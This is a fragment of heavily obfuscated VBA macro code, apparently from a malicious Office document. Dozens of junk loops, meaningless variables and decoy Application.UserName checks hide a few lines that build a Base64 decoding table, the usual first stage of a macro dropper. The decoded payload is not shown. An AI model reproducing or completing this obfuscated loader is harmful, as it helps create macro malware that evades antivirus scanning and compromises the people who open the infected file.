Dim ynSzrU As Long
End If
Dim X5THXtwOtS, fGwI3sUSp As Integer
X5THXtwOtS = 9 + 5
For aIasfPNcu = 0 To 7
fGwI3sUSp = fGwI3sUSp + aIasfPNcu
Next aIasfPNcu
If fGwI3sUSp < aIasfPNcu Then
Dim e1RCmNt As Long
End If
Dim EPE2ZN26h As String
For jZ3cG191 = 0 To 9
EPE2ZN26h = EPE2ZN26h + "s"
Next jZ3cG191
Dim ReCvep6 As String
For jks8LiQ = 0 To 8
ReCvep6 = ReCvep6 + "e"
Next jks8LiQ
Dim MwZIfw As String
For k3DROtItL2 = 0 To 7
MwZIfw = MwZIfw + "e"
Next k3DROtItL2
For hzJJzJB = 0 To 7
ZvYkKF = ZvYkKF + hzJJzJB
Next hzJJzJB
For hfxuMBUi = 0 To 6
nzkqwaHqL = nzkqwaHqL + hfxuMBUi
Next hfxuMBUi
If Len(Application.UserName) < 175 Then
Dim HaWBoQpBCu As Collection
End If
If Application.UserName = "WXuplGgpbXW" Then
MsgBox ("Nhvz7EOyvWc")
Else
Dim hes8HFouvwWhyL As String
hes8HFouvwWhyL = Application.UserName
End If
   pJFq3EhrC3j(GnLdmn3lo) = Asc("+"): GnLdmn3lo = GnLdmn3lo + 1
Dim r93Jwlx As Long
For fvWTMTJ = 9 To 13
r93Jwlx = r93Jwlx + fvWTMTJ
Next fvWTMTJ
Dim mjiQou9 As Long
For h7cc4Hf = 7 To 15
mjiQou9 = mjiQou9 + h7cc4Hf
Next h7cc4Hf
Dim eYavp5 As String
For qNqEQDjEo1 = 0 To 8
eYavp5 = eYavp5 + "u"
Next qNqEQDjEo1
Dim fGqXpC As Long
For KOT0KqPaYI = 8 To 13
fGqXpC = fGqXpC + KOT0KqPaYI
Next KOT0KqPaYI
Dim hojO6PYw As String
For SCvJ3x = 0 To 6
hojO6PYw = hojO6PYw + "X"
Next SCvJ3x
Dim ZqPxVo6 As Long
For JNtp7NAAJT = 5 To 18
ZqPxVo6 = ZqPxVo6 + JNtp7NAAJT
Next JNtp7NAAJT
For BlHXjdRUdV = 0 To 6
pmI9EnBjQ = pmI9EnBjQ + BlHXjdRUdV
Next BlHXjdRUdV
For ZBROo9qJ2 = 0 To 8
V9LsBpCWQC = V9LsBpCWQC + ZBROo9qJ2
Next ZBROo9qJ2
For BqwJBkuT = 0 To 9
ftHa3D = ftHa3D + BqwJBkuT
Next BqwJBkuT
   pJFq3EhrC3j(GnLdmn3lo) = Asc("/"): GnLdmn3lo = GnLdmn3lo + 1
Dim mY9QAVc As String
For o6BVDyj9rN = 0 To 6
mY9QAVc = mY9QAVc + "P"
Next o6BVDyj9rN
Dim SPrxoaxons, JwoVDHOfs As Integer
SPrxoaxons = 9 + 6
For RkxZPrppB = 0 To 6
JwoVDHOfs = JwoVDHOfs + RkxZPrppB
Next RkxZPrppB
If JwoVDHOfs < RkxZPrppB Then
Dim NvzAQF9 As Long
End If
For iutNCc = 0 To 8
esQciu4D = esQciu4D + iutNCc
Next iutNCc
Dim Hh40y71G5 As Long
For gmVgW5IiwA = 5 To 14
Hh40y71G5 = Hh40y71G5 + gmVgW5IiwA
Next gmVgW5IiwA
Dim Ff1NP02LmU As Long
For IYWwYY2xC = 8 To 13
Ff1NP02LmU = Ff1NP02LmU + IYWwYY2xC
Next IYWwYY2xC
Dim N1KLruXVS As Long
For ytoTisCIb = 8 To 14
N1KLruXVS = N1KLruXVS + ytoTisCIb
Next ytoTisCIb
Dim rkITuF, B21XJwE6 As Integer
rkITuF = 7 + 8
For pR3BqYSN = 0 To 6
B21XJwE6 = B21XJwE6 + pR3BqYSN
Next pR3BqYSN
If B21XJwE6 < pR3BqYSN Then
Dim zM7XMXKJL As Long
End If
If Application.UserName = "ghVMaelym8A" Then
MsgBox ("FGUH5CfsMlb")
Else
Dim EAnYWmB2YNmYxy As String
EAnYWmB2YNmYxy = Application.UserName
End If
If Len(Application.UserName) < 962 Then
Dim ebqoYyxI As Collection
End If
   For GnLdmn3lo = 0 To 127: kbqVXyZy(GnLdmn3lo) = 255: Next
For zlVoPO1Sr = 0 To 9
H6Ab0wn = H6Ab0wn + zlVoPO1Sr
Next zlVoPO1Sr
Dim Jgvs0Wc, Hpmcy0NW As Integer
Jgvs0Wc = 5 + 5
For m94HtxMaR = 0 To 6
Hpmcy0NW = Hpmcy0NW + m94HtxMaR
Next m94HtxMaR
If Hpmcy0NW < m94HtxMaR Then
Dim FPScoEt As Long
End If
Dim md17LZuGw As String
For EdBheb8 = 0 To 9
md17LZuGw = md17LZuGw + "t"
Next EdBheb8
Dim ebtU5nfZJ As String
For gBEF9CM2 = 0 To 6
ebtU5nfZJ = ebtU5nfZJ + "E"
Next gBEF9CM2
Dim nWcTT4Hp5N As Long
For ROoa2jsXE = 6 To 10
nWcTT4Hp5N = nWcTT4Hp5N + ROoa2jsXE
Next ROoa2jsXE
Dim vYxeU3cJh As String
For Q1hXlM71 = 0 To 8
vYxeU3cJh = vYxeU3cJh + "S"
Next Q1hXlM71
Dim vPzZWXI3Gi, Dz1NJPJB2 As Integer
vPzZWXI3Gi = 8 + 9
For h3VVReMBq = 0 To 6
Dz1NJPJB2 = Dz1NJPJB2 + h3VVReMBq
Next h3VVReMBq
If Dz1NJPJB2 < h3VVReMBq Then
Dim sb5lqOcQr As Long
End If
If Application.UserName = "lRwTnRpTRCa" Then
MsgBox ("e74tQIuXFDp")
Else
Dim jkio1SXqGz2T8K As String
jkio1SXqGz2T8K = Application.UserName
End If
If Application.UserName = "oBlc6M1TYem" Then
MsgBox ("GOS2s6uiJ6K")
Else
Dim P8FhYWHBoKJYlP As String
P8FhYWHBoKJYlP = Application.UserName
End If
If Len(Application.UserName) < 478 Then
Dim DFba8Vz As Collection
End If
   For GnLdmn3lo = 0 To 63: kbqVXyZy(pJFq3EhrC3j(GnLdmn3lo)) = GnLdmn3lo: Next
Dim uoOQBXYRNS As String
For dtLxgCAq = 0 To 6
uoOQBXYRNS = uoOQBXYRNS + "d"
Next dtLxgCAq
Dim FRLJgBcA As String
For ZzbB0PAEN = 0 To 7
FRLJgBcA = FRLJgBcA + "O"
Next ZzbB0PAEN
Dim zjnQ6Z As Long
For ny5HYVUnd = 8 To 17
zjnQ6Z = zjnQ6Z + ny5HYVUnd
Next ny5HYVUnd
Dim jmM0nyY As Long
For v7PbC8B0Ts = 9 To 12
jmM0nyY = jmM0nyY + v7PbC8B0Ts
Next v7PbC8B0Ts
Dim QWuzozhh As Long
For EYG6eG7 = 7 To 17
QWuzozhh = QWuzozhh + EYG6eG7
…